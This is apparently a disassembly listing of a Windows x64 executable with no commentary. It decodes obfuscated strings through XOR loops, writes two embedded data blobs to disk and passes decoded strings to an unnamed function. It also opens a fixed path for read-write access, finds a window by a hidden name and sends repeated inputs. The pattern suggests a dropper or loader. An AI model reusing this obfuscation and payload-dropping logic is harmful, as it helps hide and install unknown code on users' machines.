mov r8d, edi
cmp r15d, 2
jl 0x14007a7e8
movdqa xmm5, xmmword [0x1401f89d0]
movdqa xmm4, xmmword [0x1401f8ed0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1401f89f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1401f8ac0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x130]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14007a6e1
cmp r8d, 0x15
jge 0x14007a832
movsxd rax, r8d
lea r9, [rbp + 0x130]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x31
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x14007a800
lea r8, [rbp + 0x218]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x488]
call fcn.14008bd50
nop
lea rcx, [rbp + 0x60]
mov r8, rsi
inc r8
cmp byte [rcx + r8], 0
jne 0x14007a854
lea rdx, [rbp + 0x60]
mov rcx, rax
call fcn.1400880a0
mov rbx, rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb8], rdi
mov qword [rbp + 0xc0], rdi
mov ecx, reloc.WS2_32.dll_recv
call fcn.14008c900
mov qword [rax + 8], rdi
mov qword [rbp + 0xa0], rax
lea rcx, [rbp + 0xa0]
mov qword [rax], rcx
mov rdx, rbx
lea rcx, [rbp + 0xa0]
call fcn.14008a4a0
nop
lea rcx, [rbp + 0x488]
call fcn.140089e00
mov rcx, qword [rbp + 0x488]
mov qword [rbp + 0x488], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
mov eax, dword [0x1401f69d8]
mov dword [rbp + 0x50], eax
movzx eax, byte [0x1401f69dc]
mov byte [rbp + 0x50], reloc.WLDAP32.dll_Ordinal_46
xor byte [rbp + 0x51], 0x32
xor byte [rbp + 0x52], 0x33
xor byte [rbp + 0x53], 0x34
xor al, 0x35
mov byte [rbp + 0x54], al
movups xmm0, xmmword [0x1401f82d8]
movups xmmword [rbp + 0x1a8], xmm0
movsd xmm1, qword [0x1401f82e8]
movsd qword [rbp + 0x1b8], xmm1
movzx eax, word [0x1401f82f0]
mov word [rbp + 0x1c0], ax
cmp byte [0x1401f82f1], 0
je 0x14007aad2
mov r8d, edi
cmp r15d, 2
jl 0x14007aa87
movdqa xmm5, xmmword [0x1401f89d0]
movdqa xmm4, xmmword [0x1401f8ed0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1401f89f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1401f8ac0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x1a8]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14007a980
cmp r8d, 0x1a
jge 0x14007aad2
movsxd rax, r8d
lea r9, [rbp + 0x1a8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x31
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14007aaa0
movups xmm0, xmmword [str.r_bocXSWNIgoDMK__qq]
movups xmmword [rbp + 0x148], xmm0
mov eax, dword [0x1401f5f28]
mov dword [rbp + 0x158], eax
movzx eax, byte [0x1401f5f2c]
mov byte [rbp + 0x15c], al
mov r8d, edi
cmp r15d, 2
jl 0x14007ac48
movdqa xmm5, xmmword [0x1401f89d0]
movdqa xmm4, xmmword [0x1401f8ed0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1401f89f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1401f8ac0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x148]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14007ab41
cmp r8d, 0x15
jge 0x14007ac92
movsxd rax, r8d
lea r9, [rbp + 0x148]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x31
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x14007ac60
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x500]
call fcn.14008bd50
nop
lea rcx, [rbp + 0x1a8]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rcx + r8], 0
jne 0x14007acc0
lea rdx, [rbp + 0x1a8]
mov rcx, rax
call fcn.1400880a0
mov rbx, rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1f0], xmm0
mov qword [rbp + 0x208], rdi
mov qword [rbp + 0x210], rdi
mov ecx, reloc.WS2_32.dll_recv
call fcn.14008c900
mov qword [rax + 8], rdi
mov qword [rbp + 0x1f0], rax
lea rcx, [rbp + 0x1f0]
mov qword [rax], rcx
mov rdx, rbx
lea rcx, [rbp + 0x1f0]
call fcn.14008a4a0
nop
lea rdx, [rbp + 0x220]
cmp qword [rbp + 0x238], 0x10
cmovae rdx, qword [rbp + 0x220]
mov r8, qword [rbp + 0x230]
lea rcx, [rbp + 0x1f0]
call fcn.1400880a0
mov rbx, rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1c8], xmm0
mov qword [rbp + 0x1e0], rdi
mov qword [rbp + 0x1e8], rdi
mov ecx, reloc.WS2_32.dll_recv
call fcn.14008c900
mov qword [rax + 8], rdi
mov qword [rbp + 0x1c8], rax
lea rcx, [rbp + 0x1c8]
mov qword [rax], rcx
mov rdx, rbx
lea rcx, [rbp + 0x1c8]
call fcn.14008a4a0
nop
lea rax, [rbp + 0x50]
nop dword [rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x14007ada0
mov r8, rsi
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x1c8]
call fcn.1400880a0
mov rbx, rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x108], rdi
mov qword [rbp + 0x110], rdi
mov ecx, reloc.WS2_32.dll_recv
call fcn.14008c900
mov qword [rax + 8], rdi
mov qword [rbp + 0xf0], rax
lea rcx, [rbp + 0xf0]
mov qword [rax], rcx
mov rdx, rbx
lea rcx, [rbp + 0xf0]
call fcn.14008a4a0
nop
lea rcx, [rbp + 0x1c8]
call fcn.140089e00
mov rcx, qword [rbp + 0x1c8]
mov qword [rbp + 0x1c8], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
nop
lea rcx, [rbp + 0x1f0]
call fcn.140089e00
mov rcx, qword [rbp + 0x1f0]
mov qword [rbp + 0x1f0], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
nop
lea rcx, [rbp + 0x500]
call fcn.140089e00
mov rcx, qword [rbp + 0x500]
mov qword [rbp + 0x500], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae rcx, qword [rbp + 0x80]
mov dword [rsp + 0x70], edi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x70]
mov r8d, 0x21600
lea rdx, [0x14021a2f0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0x10
cmovae rcx, qword [rbp + 0xa8]
mov dword [rsp + 0x70], edi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x70]
mov r8d, 0x2400
lea rdx, [0x14023b900]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0x10
cmovae rcx, qword [rbp + 0xf8]
call fcn.14016c244
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae rcx, qword [rbp + 0x80]
call fcn.1401665e0
lea rcx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0x10
cmovae rcx, qword [rbp + 0xa8]
call fcn.1401665e0
mov eax, dword [str.R_4]
mov dword [rsp + 0x70], eax
cmp byte [0x1401f72ab], 0
je 0x14007b099
mov r8d, edi
cmp r15d, 2
jl 0x14007b063
movdqa xmm3, xmmword [0x1401f89d0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1401f8ed0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1401f8ed0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401f89f0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1401f8ac0]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rsp + 0x70], xmm2
jmp 0x14007b099
lea r9, [rsp + 0x70]
nop dword [rax + rax]
mov eax, 0x5397829d
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14007b070
lea rcx, [rsp + 0x70]
call fcn.14016c244
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [str.R_4]
mov dword [rsp + 0x70], eax
cmp byte [0x1401f72ab], 0
je 0x14007b195
mov ecx, edi
cmp r15d, 2
jl 0x14007b162
movdqa xmm3, xmmword [0x1401f89d0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1401f8ed0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1401f8ed0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401f89f0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1401f8ac0]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rsp + 0x70], xmm2
jmp 0x14007b195
lea r8, [rsp + 0x70]
nop word [rax + rax]
mov eax, 0x5397829d
mul ecx
shr edx, 4
movsx eax, dl
imul edx, eax, 0x31
movzx eax, cl
sub al, dl
add al, 0x31
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 4
jl 0x14007b170
lea rcx, [rsp + 0x70]
call fcn.14016c244
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r9 + 3]
lea rcx, [0x1401f4eb0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x140326580], rax
inc rax
test rax, 0xfffffffffffffffe
jne 0x14007b44f
mov edx, 7
lea rcx, [rbp + 0x4b0]
call fcn.14003c060
lea r10, [rax + 8]
cmp qword [rax + 0x20], 0x10
jb 0x14007b209
mov r10, qword [r10]
movups xmm0, xmmword [0x1401f4a80]
movups xmmword [rbp + 0x3b0], xmm0
movups xmm1, xmmword [0x1401f4a90]
movups xmmword [rbp + 0x3c0], xmm1
movups xmm0, xmmword [0x1401f4aa0]
movups xmmword [rbp + 0x3d0], xmm0
movups xmm1, xmmword [0x1401f4ab0]
movups xmmword [rbp + 0x3e0], xmm1
movups xmm0, xmmword [0x1401f4ac0]
movups xmmword [rbp + 0x3f0], xmm0
movsd xmm1, qword [0x1401f4ad0]
movsd qword [rbp + 0x400], xmm1
movzx eax, word [0x1401f4ad8]
mov word [rbp + 0x408], ax
mov r8d, edi
cmp r15d, 2
jl 0x14007b3c7
movdqa xmm5, xmmword [0x1401f89d0]
movdqa xmm4, xmmword [0x1401f8ed0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1401f89f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1401f8ac0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x3b0]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x14007b2c0
cmp r8d, 0x5a
jge 0x14007b412
movsxd rax, r8d
lea r9, [rbp + 0x3b0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x31
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5a
jl 0x14007b3e0
mov r9d, 0x40010
mov r8, r10
lea rdx, [rbp + 0x3b0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rbp + 0x4b0]
call fcn.140089e00
mov rcx, qword [rbp + 0x4b0]
mov qword [rbp + 0x4b0], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
nop
lea rcx, [rbp + 0xf0]
call fcn.140089e00
mov rcx, qword [rbp + 0xf0]
mov qword [rbp + 0xf0], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
nop
lea rcx, [rbp + 0xa0]
call fcn.140089e00
mov rcx, qword [rbp + 0xa0]
mov qword [rbp + 0xa0], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
nop
lea rcx, [rbp + 0x78]
call fcn.140089e00
mov rcx, qword [rbp + 0x78]
mov qword [rbp + 0x78], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
nop
lea rcx, [rbp + 0x218]
call fcn.140089e00
mov rcx, qword [rbp + 0x218]
mov qword [rbp + 0x218], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
nop
lea rcx, [rbp + 0x350]
call fcn.140089e00
mov rcx, qword [rbp + 0x350]
mov qword [rbp + 0x350], rdi
mov edx, reloc.WS2_32.dll_recv
call fcn.14008c9e0
call fcn.14003d490
cmp eax, 0xee219
jne 0x14007c8b9
call fcn.140040b90
test al, al
je 0x14007c8c4
cmp qword [0x140326630], 0
jne 0x14007b9ee
nop dword [rax]
movups xmm0, xmmword [str.agqs]
movups xmmword [rbp + 0x160], xmm0
mov eax, dword [0x1401f6c20]
mov dword [rbp + 0x170], eax
movzx eax, byte [0x1401f6c24]
mov byte [rbp + 0x174], al
mov r8d, edi
cmp r15d, 2
jl 0x14007b6a7
movdqa xmm5, xmmword [0x1401f89d0]
movdqa xmm4, xmmword [0x1401f8ed0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1401f89f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1401f8ac0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x160]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401f8a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14007b5a0
cmp r8d, 0x15
jge 0x14007b6f2
movsxd rax, r8d
lea r9, [rbp + 0x160]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x31
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x14007b6c0
lea rdx, [rbp + 0x160]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [0x140326630], rax
mov rbx, r12
nop dword [rax + rax]
movzx eax, word [0x1401f7488]
mov word [rbp - 0x80], ax
movzx eax, byte [0x1401f748a]
mov byte [rbp - 0x80], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp - 0x7f], 0x32
xor al, 0x33
mov byte [rbp - 0x7e], al
lea rdx, [rbp - 0x80]
lea rcx, [0x140324670]
call fcn.14008ba40
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
sub rbx, 1
jne 0x14007b710
movzx eax, word [0x1401f413c]
mov word [rsp + 0x60], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_50], bl
je 0x14007b76e
mov byte [rsp + 0x60], 8
xor byte [rsp + 0x61], 0x32
lea rdx, [rsp + 0x60]
lea rcx, [0x140324670]
call fcn.14008ba40
movzx eax, word [0x1401f413c]
mov word [rsp + 0x60], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_50], 0
je 0x14007b79e
mov byte [rsp + 0x60], 8
xor byte [rsp + 0x61], 0x32
lea rdx, [rsp + 0x60]
lea rcx, [0x140324670]
call fcn.14008ba40
movzx eax, word [0x1401f413c]
mov word [rsp + 0x60], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_50], 0
je 0x14007b7ce
mov byte [rsp + 0x60], 8
xor byte [rsp + 0x61], 0x32
lea rdx, [rsp + 0x60]
lea rcx, [0x140324670]
call fcn.14008ba40
movzx eax, word [0x1401f413c]
mov word [rsp + 0x60], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_50], 0
je 0x14007b7fe
mov byte [rsp + 0x60], 8
xor byte [rsp + 0x61], 0x32
lea rdx, [rsp + 0x60]
lea rcx, [0x140324670]
call fcn.14008ba40
call fcn.14003c210
mov rbx, r12
nop word [rax + rax]
movzx eax, word [0x1401f7468]
mov word [rsp + 0x60], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_50], 0
je 0x14007b83f
mov byte [rsp + 0x60], reloc.WLDAP32.dll_Ordinal_32
xor byte [rsp + 0x61], 0x32
lea rdx, [rsp + 0x60]
lea rcx, [0x140324670]
call fcn.14008ba40
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
sub rbx, 1
jne 0x14007b820
movzx eax, word [0x1401f413c]
mov word [rsp + 0x60], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_50], bl
je 0x14007b87f
mov byte [rsp + 0x60], 8
xor byte [rsp + 0x61], 0x32
lea rdx, [rsp + 0x60]
lea rcx, [0x140324670]
call fcn.14008ba40
movzx eax, word [0x1401f413c]
mov word [rsp + 0x60], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_50], 0
je 0x14007b8af
mov byte [rsp + 0x60], 8
xor byte [rsp + 0x61], 0x32
lea rdx, [rsp + 0x60]
lea rcx, [0x140324670]
call fcn.14008ba40
movzx eax, word [0x1401f413c]
mov word [rsp + 0x60], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_50], 0
je 0x14007b8df
mov byte [rsp + 0x60], 8
xor byte [rsp + 0x61], 0x32
lea rdx, [rsp + 0x60]
lea rcx, [0x140324670]
call fcn.14008ba40
movzx eax, word [0x1401f413c]
mov word [rsp + 0x60], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_50], 0
je 0x14007b90f
mov byte [rsp + 0x60], 8
xor byte [rsp + 0x61], 0x32
lea rdx, [rsp + 0x60]
lea rcx, [0x140324670]
call fcn.14008ba40
movzx eax, word [0x1401f413c]
mov word [rsp + 0x60], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_50], 0
je 0x14007b93f
mov byte [rsp + 0x60], 8
xor byte [rsp + 0x61], 0x32
lea rdx, [rsp + 0x60]
lea rcx, [0x140324670]
call fcn.14008ba40
movzx eax, word [0x1401f413c]
mov word [rsp + 0x60], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_50], 0
je 0x14007b96f
mov byte [rsp + 0x60], 8
xor byte [rsp + 0x61], 0x32
lea rdx, [rsp + 0x60]
lea rcx, [0x140324670]
call fcn.14008ba40
movzx eax, word [0x1401f413c]
mov word [rsp + 0x60], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_50], 0
je 0x14007b99f
mov byte [rsp + 0x60], 8
xor byte [rsp + 0x61], 0x32
lea rdx, [rsp + 0x60]
lea rcx, [0x140324670]
call fcn.14008ba40
